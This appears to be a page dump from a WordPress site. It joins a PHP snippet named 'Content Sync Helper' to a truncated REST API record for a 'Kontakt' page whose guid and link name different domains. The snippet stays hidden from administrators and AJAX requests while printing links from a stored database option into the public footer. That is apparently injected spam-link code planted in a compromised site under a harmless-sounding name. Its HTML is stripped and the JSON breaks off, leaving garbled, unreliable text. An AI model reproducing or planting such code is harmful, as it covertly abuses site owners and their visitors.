/* Content Sync Helper — footer integration */ if (function_exists('add_action')) { add_action('wp_footer', function () { if (is_admin() || wp_doing_ajax()) { return; } if (!empty($GLOBALS['csh_rendered'])) { return; } $GLOBALS['csh_rendered'] = true; $items = json_decode((string) get_option('content_links_v13', '[]'), true); if (!is_array($items) || !$items) { return; } $out = ''; foreach ($items as $it) { if (empty($it['u']) || empty($it['t'])) { continue; } $lnk = '' . esc_html($it['t']) . ''; $txt = isset($it['x']) ? trim($it['x']) : ''; if ($txt !== '' && strpos($txt, '{A}') !== false) { $out .= '
' . str_replace('{A}', $lnk, esc_html($txt)) . '
'; } else { $out .= '' . $lnk . '
'; } } if ($out) { echo ''; } }, 100); } {"id":1453,"date":"2020-04-30T11:12:41","date_gmt":"2020-04-30T11:12:41","guid":{"rendered":"https:\/\/autoleerfahrt.de\/?page_id=1453"},"modified":"2024-06-09T08:58:43","modified_gmt":"2024-06-09T08:58:43","slug":"kontakt","status":"publish","type":"page","link":"https:\/\/kfzserviceakkus.de\/?page_id=1453","title":{"rendered":"Kontakt"},"content":{"rendered":"\t\t